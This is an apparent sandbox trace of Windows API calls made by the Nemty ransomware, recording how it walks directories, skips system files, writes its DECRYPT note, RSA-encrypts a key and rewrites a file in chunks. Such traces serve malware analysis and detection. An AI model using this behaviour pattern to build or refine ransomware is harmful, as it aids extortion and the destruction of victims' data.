lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0151.129] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0151.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0151.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0151.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0151.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0151.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0151.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0151.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0151.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0151.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340220 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.130] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceff8d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xceff8d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xceff8d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0151.130] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0151.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0151.130] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a61aa77, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a61aa77, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0151.130] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0151.131] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0151.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0151.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0151.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0151.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0151.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0151.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0151.131] Sleep (dwMilliseconds=0x5) [0151.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdbcaf10, dwHighDateTime=0x1d561e8)) [0151.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdbcaf10, dwHighDateTime=0x1d561e8)) [0151.146] GetLastError () returned 0x12 [0151.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.146] GetLastError () returned 0x12 [0151.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0151.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0151.147] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0151.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0151.147] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="VJUpPX0hpzTaIuEMfunmmCUD/AXGxO2Colx67TTZLYS4LxlwREldpNFS8tVDfadn\r\nHP4Jl7jDfbJr730qoRma3euBpcYtWcsCojCxh/w4+pSL7kq4O20PiCVwQYAY+og2\r\nuiti7Vioi1d2WKYqvcVSrdDsGxEzeDZ5xOI1kMDebw65xD0pfcXnQDe3h+kR3B4G\r\n4262USgX2XZISk7M52TvsOjoUHl3dG9nZH+ZaWh1mLLphGfOG2UqnjwqQ4qUP1/l\r\n+bVSQq/3demwADnTiANAtzPdaeKsrAebvt8l/8brNRS0cXPsBDIP6i3+UHw+yqQq\r\nar1SWzw9AKXX71nDJMS8aQ==\r\n", pcchString=0x653ec5c) returned 1 [0151.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0151.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0151.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.147] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.147] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0151.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, 